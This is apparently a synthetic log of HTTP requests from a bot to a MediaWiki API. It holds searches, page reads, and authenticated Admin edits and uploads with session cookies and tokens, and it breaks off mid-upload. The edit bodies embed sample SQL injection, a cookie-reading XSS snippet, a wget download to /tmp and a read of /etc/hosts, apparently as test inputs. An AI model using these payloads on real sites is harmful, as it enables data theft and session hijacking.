{"method": "GET", "target": "/api.php?action=opensearch&search=python3&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=python3&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=python3&apprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Python3+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Python3+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=python3&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=python3&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Python3_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=powershell&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=powershell&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=powershell&apprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Powershell+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Powershell+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=powershell&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=powershell&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Powershell_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=ls+-la&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=ls+-la&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=ls+-la&apprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=Ls+-la+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=Ls+-la+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=ls+-la&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=ls+-la&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/Ls_-la_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=opensearch&search=.htaccess&limit=10&namespace=0&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=search&srsearch=.htaccess&srlimit=20&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=prefixsearch&pssearch=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allpages&apfrom=.htaccess&apprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allimages&aiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=allusers&auprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&titles=.htaccess+notes&prop=revisions%7Cinfo&rvprop=content%7Ctimestamp&rvslots=main&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=parse&page=.htaccess+notes&prop=text%7Csections&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=backlinks&bltitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=exturlusage&euquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=prefixsearch&gpssearch=.htaccess&prop=pageimages%7Cdescription&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/page?q=.htaccess&limit=10", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/page/.htaccess_notes/history", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=usercontribs&ucuser=Admin&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=recentchanges&rcprop=title%7Cuser%7Ccomment&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&meta=siteinfo&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
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{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1668", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=24%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+ls+-la%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 155", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=26%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+ls+-la+notes&appendtext=%0A%2A+ls+-la&summary=ls+-la&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1072", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=28%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=7a53d6d4af2844e59f972f70f639962c"], "body": "--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi ls -la.png\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of ls -la\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout ls -la and .htaccess\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--7a53d6d4af2844e59f972f70f639962c\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api ls -la.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffdls -la\r\n--7a53d6d4af2844e59f972f70f639962c--\r\n"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=30%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=watch&titles=Api+ls+-la+notes&token=882a46e87f44097de0925d3b78c26c766af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1598", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=parse&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&contentmodel=wikitext&pst=1&prop=text&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1674", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=32%401794254499%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A%27%27%27Example%27%27%27+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23%21%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById%28%22x%22%29.innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert%28document.cookie%29%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E%28.%2A%29%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A%21+Command+%21%21+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 164", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=34%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded"], "body": "action=edit&title=Api+.htaccess+notes&appendtext=%0A%2A+.htaccess&summary=.htaccess&token=2784a88a79a632f564ea8dddf4913c046af226a3%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Length: 1087", "Host: example.com", "Cookie: my_wiki_session=4v3qmpeojqjor3j09gvsstr9svhfrqt5; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=36%401794254500%23551bb58c8b022f6bcc821c8dff9ebab6; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json", "Content-Type: multipart/form-data; boundary=0451c085f0cd430585e04333efbbfbbf"], "body": "--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nupload\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"filename\"\r\n\r\nApi .htaccess.png\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\nPicture of .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"text\"\r\n\r\nAbout .htaccess and .htaccess\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"ignorewarnings\"\r\n\r\n1\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"token\"\r\n\r\n2784a88a79a632f564ea8dddf4913c046af226a3+\\\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\njson\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"formatversion\"\r\n\r\n2\r\n--0451c085f0cd430585e04333efbbfbbf\r\nContent-Disposition: form-data; name=\"file\"; filename=\"Api .htaccess.png\"\r\nContent-Type: 